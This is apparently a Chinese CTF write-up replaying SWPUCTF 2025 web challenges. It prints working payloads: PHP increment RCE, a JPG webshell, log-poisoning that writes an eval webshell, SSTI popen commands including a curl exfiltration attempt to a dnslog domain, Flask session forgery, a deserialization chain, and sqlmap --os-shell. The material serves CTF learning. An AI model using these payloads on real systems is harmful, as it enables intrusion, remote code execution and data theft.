[赛题复现]SWPUCTF-2025
[赛题复现]SWPUCTF 2025
新的旅途~开始了
[问题 1/CVE-2024-2961/并非签到]我是签到
并非签到,我放在了问题 1 是因为我以为是签到题第一个做,然后直接暴毙
1 | <?php |
读题,尝试看/flag 也没有,环境变量也没权限看

data 协议用不了,那还说啥了,看 wp 吧
WP 说是 CVE-2024-2961
真的是签到题吗?
[问题 2/http 请求头]SIGN IN!
又是一个签到题,英文版签到,我们来看看吧

按要求用 Burp 设置即可
修改了还得点一下检查进度
做题启示
伪造 get 请求头最后要空两行不是一行,不是只有 post 要空,get 一样的要

[问题 3/RCE/自增]php 命令执行
1 | <?php |
这个没啥说的,自增绕过就行了
1 | %24_%3D%5B%5D._%3B%24_%3D%24_%5B_%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24___%3D%24__%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24____%3D%24_%3B%24_____%3D%2B%2B%24_%3B%24_%3D_.%24__.%24___.%24____.%24_____%3B%24%24_%5B_%5D%28%24%24_%5B__%5D%29%3B&_=system&__=nl /f* |
做题启示
无论是 get 还是 post,都会解析 URL 编码
POST 出现编码无效的时候,尝试将 % 改成\x,但绝非万能
所以取反一般只有 get 生效
[问题 4/文件包含/信息收集]ezez_include
文件包含,/flag 无果,环境变量不可读,必然转化为 RCE 问题

通过扫盘得到路由/upload.php

只允许 jpg 文件被上传

没别的 WAF 了,直接上传 jpg 图片马,就是用 16 进制编辑在 jpg 图片后插入 webshell

读取后拿到 shell

post 一个 mima=system(‘env’);即可
诶,怎么没有用?

那稍微修改一下图片马,直接命令中嵌入 env,上传 muma2
好家伙

改成 ls /,发现这玩意

那包含一下,就通过了

[问题 5/日志注入]登录框

源码发现

这属于 bcrypt 加密的哈希值
1 | $2y$10$h2JGq8MxzVKwSSXqOA//CeaXvKwBiBJpbLXZDyAaYzhn/JdgODyje |
问了问 AI,能推知用户名是 admin,接下来用 Burp 爆破密码,发现密码为 123456,进入了一个文件内容查看器

查看当前目录表中的 notes

得到考点:CVE2022-47615
但通过查看源码,这好像只是一个普通的文件包含,且存在/这一 waf
1 | <script> |
但观察黄底的路径,他是前端检测啊,我们直接 url 访问 file.php?file_path=,不就可以进行任意文件包含了
访问/flag 无果/proc/self/environ 无 flag,只能先访问/etc/passwd,回显是这样

没招了。
看了看这题的 WP,本题属于日志注入问题,靶机的日志可通过 file_path 进行 URL 访问
例如访问
1 | **/var/log/nginx/access.log** |
回显的就是本靶机访问成功的日志

我们发现这里面带有每次访问的 User-Agent,那是不是我们只要把 php 木马嵌进 User-Agent,再用文件包含包含一下日志,是不是就能提到 RCE 了
我们用 hackbar 嵌入这样一个东西
1 | User-Agent: <?php system(hex2bin('6563686f20223c3f70687020406576616c285c245f504f53545b315d293b706870696e666f28293b3f3e22203e202f7661722f7777772f68746d6c2f77702d636f6e74656e742f636f6e6669672e7068703b'));?> |
也就是将一句话木马写入 config.php,这里其实也有讲究,wp-content 应用的这么一个框架,网站当前目录是不可写
的,只能写到别的目录中
这句话实际意思是
1 | echo "<?php @eval(\$_POST[1]);phpinfo();?>" > /var/www/html/wp-content/config.php; |
因为这个 access.log 在这一文件读取下返回的是 json,所有的引号等直接明文嵌进去会出问题,$ 还得加反斜杠
发送这样一个 url,返回的是 200,应该会被写入进日志

这里注意哈,发木马的时候别用校园网,发不出去,上一题的图片马也是这样

我们再包含**/var/log/nginx/access.log**,写入的代码就可以被运行了,之后包含 /var/www/html/wp-content/config.php,就能够拿到 webshell 了
做题启示
本题原本的 CVE 漏洞是一个任意文件包含的漏洞,这里应该是模拟了一下给了个文件包含的入口
因为本题可以直接用文件包含访问日志,所以我们可以直接在日志中写入漏洞,并注意本入口返回
json 格式,我们嵌入的木马必须适应这个格式。
[问题 6/SSTI/FlaskSession 提权]我是复读机
开始挺幽默,不让使用右键和 F12,我们使用这个查看源码

看到这条 hint

访问 robots.txt

随即发现路由,访问一下可以写入复读内容

试着写了一下,发现要提权

观察 cookie 中的 session 值,发现是 Flask 提权,因为 jwt 不好使
1 | eyJ1c2VyIjoiZ3Vlc3QifQ.abghfg.OXowBsA0tfKCcm0TpvagXsSfzEE |
至此就没信息了,扫盘吧

扫盘也啥也没得到,查看网页源代码
在禁止界面的源代码中看到了 key

1 | S4p3r_6arth_1s_Burning |
这里就要用到 Flask 解密工具了,因为在 windows 上不好用也用不了,又得打开 linux 环境
脚本名为 test.py
我们先进行解码
1 | python3 test.py decode -c 'eyJ1c2VyIjoiZ3Vlc3QifQ.abgnbA.MjwBUSoe_kvRADJnrjWoiNm07Kw' -s 'S4p3r_6arth_1s_Burning' |

得到标准格式
1 | {'user': 'guest'} |
然后再用密钥编码,注意不要单引号嵌套
1 | python3 test.py encode -s 'S4p3r_6arth_1s_Burning' -t "{'user': 'admin'}" |
得到
1 | eyJ1c2VyIjoiYWRtaW4ifQ.abgtMQ.gKK2qAPCUMARNapqteIrJTJjDsI |
接着是个绕 WAF 的 SSTI,过滤点号和部分字符串,这里不多说了,带着 cookie 进行 SSTI 注入
1 | POST /render HTTP/1.1 |
即得 flag

做题启示
很好的 flask 提权范本
[问题 7/无回显 SSTI/attr+ 静态目录]诚实大厅
一开场是个 SSTI,过滤了 config,cycler,lipsum 和双大括号和中括号,还有点号,和一系列字符串,用 attr+get 绕过,并使用 url_for
通过了,但是这个 SSTI 无回显,最终 payload 是这样
1 | {%print(url_for|attr('__gl'+'obals__')|attr('get')('o'+'s')|attr('popen')('curl `ls`\u002E00de69\u002Ednslog\u002Ecn')|attr('read')())%} |
没用,不出网
那通过静态目录回显,注意前一个命令是创建静态目录,后一个就是写入指令了
1 | {%print(url_for|attr('__gl'+'obals__')|attr('get')('o'+'s')|attr('popen')('mkdir static; cat /fl* > static/out')|attr('read')())%} |
访问这么一个 url

得到文件,通过了!

做题启示
无回显 ssti 的当前目录通常是不可写的,可以先创建静态目录,再写入
也可以学学 wp 的 app 静态目录创建,效果是等同的
1 | {{nho|attr('__eq__')|attr('__g''lobals__')|attr('get')('__b''uiltins__')|attr('get')('__i''mport__')('os')|attr('popen')('mkdir /app/static')|attr('read')()}} |
1 | {{nho|attr('__eq__')|attr('__g''lobals__')|attr('get')('__b''uiltins__')|attr('get')('__i''mport__')('os')|attr('popen')('cat /flag >/app/static/1')|attr('read')()}} |
[问题 8/弱口令/php 综合问题/无参 RCE]DANGEROUS TRIAL
点进去是个登录界面,源码也没别的线索了,直接扫盘

扫盘发现/www.zip 路由,访问下载压缩包文件
解压后获得了这么一个密码字典

用 Burp 爆弱口令,这个就不多说了,抓包发送到 intruder

爆出弱口令

输入 admin/NSSLOVE,回显新题,又是 php,我们一步步分析
1 | <?php |
首先第一个 interval 函数

这个很简单,他也属于返回整型变量的函数,我们传入
1 | cat=114514a |
都是可以的
第二关这两个都是连体的,要求文件包含的值是 rimuru
1 | $pt = $_GET['Slime'] ?? ''; |
我们现在啥路径也不知道,想要文件包含输出特定的值,那就只有 data://协议
但是 data 协议吧,还得满足路径最后三位是 XJ1,这里 trim 函数是用来删字符两边的空白符的,大概的黑名单有这些

目前没招了
这里看到上面的 hint
1 | //base64_encode("rimuru")??? |
把这个东西 base64 编码,刚好是 XJ1 结尾
1 | cmltdXJ1 |
于是我们可以用 data 协议 +base64 编码,像这样
1 | data://text/plain,base64,cmltdXJ1 |
第一个函数作为取尾函数,取值为 XJ1
第二个函数作为文件包含,取值是 cmltdXJ1 的 base64 编码 rimuru,没有空白,通过 trim 函数还是 rimuru
那肯定是没问题的,通过了
第三个问题要求传入 POST 变量 NSS_CTF.LOVE,这个是我们第一次见,所以要修改一下参数名,改成 NSS[CTF.LOVE

就剩下最后的无参 RCE,用目录遍历法,多刷新几次,就能读到 flag 了
1 | NSS[CTF.LOVE=var_dump(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd()))))))))); |
当然你如果用 RCE,也行,就是需要巧用 end,不能用 current 往后推了
1 | NSS[CTF.LOVE=system(end(current(get_defined_vars()))); |

做题启示
本题要学习的东西真的很多,无参数 RCE 的 end 问题,POST 变量名问题,data 协议 base64 编码问题等等 php 常考问题,可以多加阅读做题过程
[问题 9/php 反序列化/原生类/指针引用]FIRST MEETING
反序列化的题,我们仍然一步一步分析
1 | <?php |
destruct 知 web 这个链头,$this -> sauy 被打印了,我们想要执行的是 tostring。pwn 类有 tostring,有
1 | $a=new WEB(); |
Tostring 触发,要求特定变量名,必然有
1 | $b->wings='SHENG-YI'; |
随后执行 c0trick 成员中的 MinatoNamikaze() 函数,连上的是 REVERSE 类的 call
1 | $c=new REVERSE(); |
接下来就是弱比较绕过了,这个就很简单了
1 | $c->harukaze="314282422"; |
触发的是 $c->acc(),连接上 MISC 类的 invoke 函数
1 | $d=new MISC(); |
就剩下最后一个类了,MISC 类访问 CRYPTO 类的无法访问变量,有
1 | $e=new CRYPTO(); |
强比较,还随机,这里直接用指针引用
1 | public function __set($a, $b){ |
有
1 | $e->last=&$e->dance |
最后我们就只能利用原生类来执行命令了
1 | $e->kyarihoshi = "SplFileObject";$e->rocage = "/flag"; |
合起来,POC 是这样
1 | <?php |
1 | O:3:"WEB":2:{s:4:"sauy";O:3:"PWN":2:{s:5:"wings";s:8:"SHENG-YI";s:7:"c0trick";O:7:"REVERSE":4:{s:6:"re1sen";N;s:8:"harukaze";s:9:"240610708";s:4:"ysyy";s:9:"314282422";s:3:"acc";O:4:"MISC":1:{s:4:"cr4p";O:6:"CRYPTO":5:{s:10:"kyarihoshi";s:13:"SplFileObject";s:6:"rocage";s:5:"/flag";s:4:"last";N;s:5:"dance";R:12;s:4:"kiss";N;}}}}s:10:"creambread";N;} |
这里得到的,还不是最终 payload,原本是 private 和 protected 的,要自己改回来。
1 | NSS=O:3:"WEB":2:{s:9:"%00WEB%00sauy";O:3:"PWN":2:{s:5:"wings";s:8:"SHENG-YI";s:7:"c0trick";O:7:"REVERSE":4:{s:9:"%00*%00re1sen";N;s:8:"harukaze";s:9:"240610708";s:4:"ysyy";s:9:"314282422";s:3:"acc";O:4:"MISC":1:{s:4:"cr4p";O:6:"CRYPTO":5:{s:10:"kyarihoshi";s:13:"SplFileObject";s:6:"rocage";s:5:"/flag";s:4:"last";N;s:5:"dance";R:12;s:4:"kiss";N;}}}}s:10:"creambread";N;} |

做题启示
- 原生类的手法我们是第一次见,可以学习一下
- 遇到 rand()使用指针引用,也是本题的重点
- string 弱比较不能直接传数字
原生类拓展
在 new 处进行任意文件读取或远程命令执行,可以采用原生类,原题是这样
1 | $kiss = new $this -> kyarihoshi($this -> rocage); |
我们在题中是这样进行任意文件读取的
1 | $e->kyarihoshi = "SplFileObject";$e->rocage = "/flag"; |
当然,还有很多可以进行任意文件读取的原生类,不同环境下可以依次尝试
1 | $a->kyarihoshi = "XMLReader"; |
1 | $a->kyarihoshi = "DirectoryIterator"; |
1 | $a->kyarihoshi = "FilesystemIterator"; |
[问题 10/SQL 注入/UDF 提权]sql 仅仅只是 sql 吗?
sql 注入题

正常注入发现是假的 flag,题前放了一条 hint,用 sqlmap

“列目录”代表 RCE,我们可以考虑到 UDF 提权,这需要:
数据库权限:网站数据库账户必须是 root 或具有高级权限;
路径知识:攻击者需要知道网站的绝对路径;
GPC 设置:PHP 的 GPC(Get/Post/Cookie)主动转义功能必须关闭;
文件权限:MySQL 的 secure_file_priv 参数必须无限制或设置适当
恰巧本题就都符合,使用 sqlmap:
1 | sqlmap -u http://node1.anna.nssctf.cn:20626/?id=1 --random-agent --os-shell |
本题中该选项选 2,就拿到 shell 了;实际情况要挨个尝试

总结
至此,我们完成了 SWPUCTF 2025 中当前能力能够解决的题目的复现。
剩下的题目存在 java python 安全,后续学习到了,再倒回来完成。
通过整场比赛的复现,我了解了很多解题方法和思维,并将部分只有理论支撑的知识框架加以实践
是非常有水平的一场比赛
本期复现到此结束 🎆
![CVE-2022-47615[任意文件读取]](/img/BqvBbcdufoB3S8xJ1FQcnMsenkh.png)

